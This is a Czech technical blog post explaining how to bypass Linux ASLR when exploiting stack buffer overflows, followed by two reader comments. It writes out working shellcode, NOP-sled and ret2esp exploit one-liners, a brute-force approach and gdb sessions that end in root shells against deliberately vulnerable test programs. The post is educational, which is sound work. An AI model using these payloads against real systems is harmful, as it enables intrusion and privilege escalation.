Tech Life

Tech Life

ASLR bypass

08. 03. 2012 10:15    kategorie: Tech Life    autor: PMe    komentářů: 2

ASLR neboli Address Space Layout Randomization je ochrana, kterou poskytuje Linux (a řady dalších moderních OS), k omezení zranitelností typu buffer overflow. V nasledujícím článku je krátká ukázka, jak je možné tuto technologii obejít. Článek předpokládá obecnou znalost problematiky přetečení zásobníku, práci s gdb a základy assembleru.
 

Nejprve malá ukázaka zneužití zranitelnosti přetečení bufferu, pokud je randomizace vypnutá (programy, na kterých jsou zranitelnosti testovány jsou zkompilovány s volbou -fno-stack-protector):


# vypnutí randomizace
echo "0" > /proc/sys/kernel/randomize_va_space

# nalezení zranitelnosti v programu test3
# vygenerovaní patternu pro zjištění délky bufferu, které zpusobí přetečení
# (gdb je časově náročnejší varianta, ale výsledek je stejný :))
./pattern_create.rb 1200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7A....
./test3 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7A....
Segmentation fault

# zjistíme adresu, na které došlo k chybě segmentace a z ní pak délku
# řetezce pro přetečení
tail -n 1 /var/log/messages (0x69423569)
./pattern_offset.rb 0x69423569
1036

Nyní již stačí přípravit exploit. První část je tvořena NOP sledem (sekvencí prázdných instrukcí), dále shellcode (vykoná spuštění shellu) a závěr je adresa směřující mezi NOPy. Při ukončování funkce (instrukce ret), ve které je obsažena zranitelnost, dojde k přepsání návratové adresy a k vykonání shellcodu.


./test3 $(perl -e 'print "\x90"x965 . "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" . "\x10\xef\xff\xbf"x10')
...
sh-4.1#

Obdobně lze využít i proměnou prostředí a zbavit se tak nutnosti NOPů:


# shellcode uložíme do proměné prostředí
export SHELLCODE=$(perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80"')
# zjistíme si jeho adresu
./getenv SHELLCODE
SHELLCODE is at 0xbffff77d
# a přepíšeme návratovou adresu
./test3 $(perl -e 'print "\x7d\xf7\xff\xbf"x300')
...
sh-4.1#

Jak z výše uvedeného vyplývá, je znalost adresy shellcodu pro zneužití buffer overflow kritická. A právě znesnadnit její získání má za cíl randomizace paměti. V následující části si ukážeme dva přístupy.

Bruteforce

Výhoda této metody je, že není nutné využívat žádné vlastnosti prostředí, tedy funguje vždy. Nevýhodou je delší časová náročnost, tuny chybových hlášek v logách (spoléháme na to, že je systém špatně sledovaný) a těžko je také tato metoda použitelná pro útoky na síťové služby neboť po každém neúspěšném pokusu dojde k jejímu pádu tj. jde spíš o DOS (u multithreadových aplikací, kde každé vlákno obsluhuje jedno spojení je však toto možné uplatnit).

# zapnutí randomizace paměti
echo "2" > /proc/sys/kernel/randomize_va_space

# puvodní exploit je již nefunkční
./test3 $(perl -e 'print "\x7d\xf7\xff\xbf"x300')
...
Segmentation fault

# použijeme metodu s uložením shellcodu v proměné prostředí a puštění
# v nekonečném cyklu (aslr2 obsahuje prostý while(true))
./aslr2.sh
Counter: 3325
}���}...
sh-4.1#

Po 3325 průchodech (cca 5 min) máme shell.

ret2esp

Tato metoda využívá instrukce jmp esp (ff e4), která v našem podání dostane jiný význam než byl původní záměr. Nejprve je nutné zjistit jestli binárka tuto instrukci obsahuje a pokud ano zjistime jeji adresu:

objdump --disassembler-options=intel -d jmp2esp | grep -E "ff\se4"
8048417: ff e4 jmp esp

V tomto případě ji tedy lze využít. Princip zranitelnosti je následující:

# po chvíli hledání jsme zjistili, že zranitelnost je ve funkcni vypisString
(gdb) disassemble vypisString
Dump of assembler code for function vypisString:
0x0804841b <+0>: push ebp
0x0804841c <+1>: mov ebp,esp
0x0804841e <+3>: sub esp,0x88
0x08048424 <+9>: mov eax,DWORD PTR [ebp+0x8]
0×08048427 <+12>: mov DWORD PTR [esp+0x4],eax
0×0804842b <+16>: lea eax,[ebp-0x6c]
0×0804842e <+19>: mov DWORD PTR [esp],eax
0×08048431 <+22>: call 0×8048340
0×08048436 <+27>: lea eax,[ebp-0x6c]
0×08048439 <+30>: mov DWORD PTR [esp],eax
0×0804843c <+33>: call 0×8048350
0×08048441 <+38>: mov eax,0×0
0×08048446 <+43>: leave
0×08048447 <+44>: ret

# naším cílem je využít známou (a pevnou) adresu (0×8048417) tak, aby došlo
# k vykonání námi umístěného kódu (velikost retězce nutného pro přepsání
# návratové adresy si opět zjistíme pomocí pattarn_create a pattern_offset)

# nejprve si umístíme breakpoint na závěr funkce, která obsahuje zranitelnost
(gdb) break *0x08048447

# pustíme program s parametrem, který obsahuje 112xA, adresu instrukce jmp esp
# a pak 4xB, které simulují shellcodu
(gdb) run $($perl -e 'print "A"x112 . "\x17\x84\x04\x08" . "BBBB"')
Starting program: /root/jmp2esp $(perl -e 'print "A"x112 . "\x17\x84\x04\x08" . "BBBB"')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�BBBB

Breakpoint 1, 0x08048447 in vypisString (retezec=Cannot access memory at address 0x41414149
) at jmp2esp.c:19
warning: Source file is more recent than executable.
19 return 0;

# na breakpointu si vypíšeme stav registru esp a eip
(gdb) i r esp eip
esp 0xbffff4bc 0xbffff4bc
eip 0x8048447 0x8048447
# vykonáme další intrukci
(gdb) ni
Cannot access memory at address 0x41414145
# a opět si vypíšeme stav registrů esp a eip, zde již vidíme, že eip obsahuje adresu instrukce jmp esp ...
(gdb) i r esp eip
esp 0xbffff4c0 0xbffff4c0
eip 0x8048417 0x8048417

# ... a esp osahuje náš "shellcode"
(gdb) x/x 0xbffff4c0
0xbffff4c0: 0x42424242

A výsledný exploit:

./jmp2esp $(perl -e 'print "A"x112 . "\x17\x84\x04\x08" . "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80"')
...
sh-4.1#

Závěr

Kromě metody ret2esp existuje další řada známých způsobů k obcházení ASLR např. ret2ret, ret2pop, ret2eax a Stack Stethoscope (o nich zase někdy jindy), tedy není možné samotné ASLR považovat za dostatečnou ochranu proti útoků na přetečení bufferu.

Petr Medonos vystudoval obor Inženýrská Informatika na VŠCHT. Od roku 2008 pracuje v Et neteře, kde se zabývá navrhováním robustních klientských architektur s důrazem na vysokou dostupnost, databázemi a bezpečností.

Sdílet odkaz:
tisk

Diskuze k článku

PMe, 9.3.2012 11:22

No ... uplne ne. Trochu to prodlouzi bruteforce, ostatni metody to neresi samozrejme vubec. Obe metody jsou ukazany na jadre 2.6.38 :)

JSv, 9.3.2012 05:52

hezke , jen nutno podotknout ze tenhle ASLR exploit byl patchnuty jiz v roce 2009 v ramci jadra 2.6.30 (CVE-2009-3238, commit od Linuse 8a0a9bd4)

Přidat příspěvek

 

Kontakt pro média


Máte zájem o další informace, odborný článek či přednášku na konferenci? Kontaktujte nás prosím na pr@etnetera.cz.

RSS - Tech life


RSS kanál Tech Life Blogu

Offlineblog

Offlineblog

Ljama


Komix z prostředí imaginární firmy.

ljama

Ještě jste ho nečetli? Tak tudy ...

 
Doporučujeme: Nabídka práce, volná pracovní místa - pracovní portál SPRÁVNÝKROK.CZ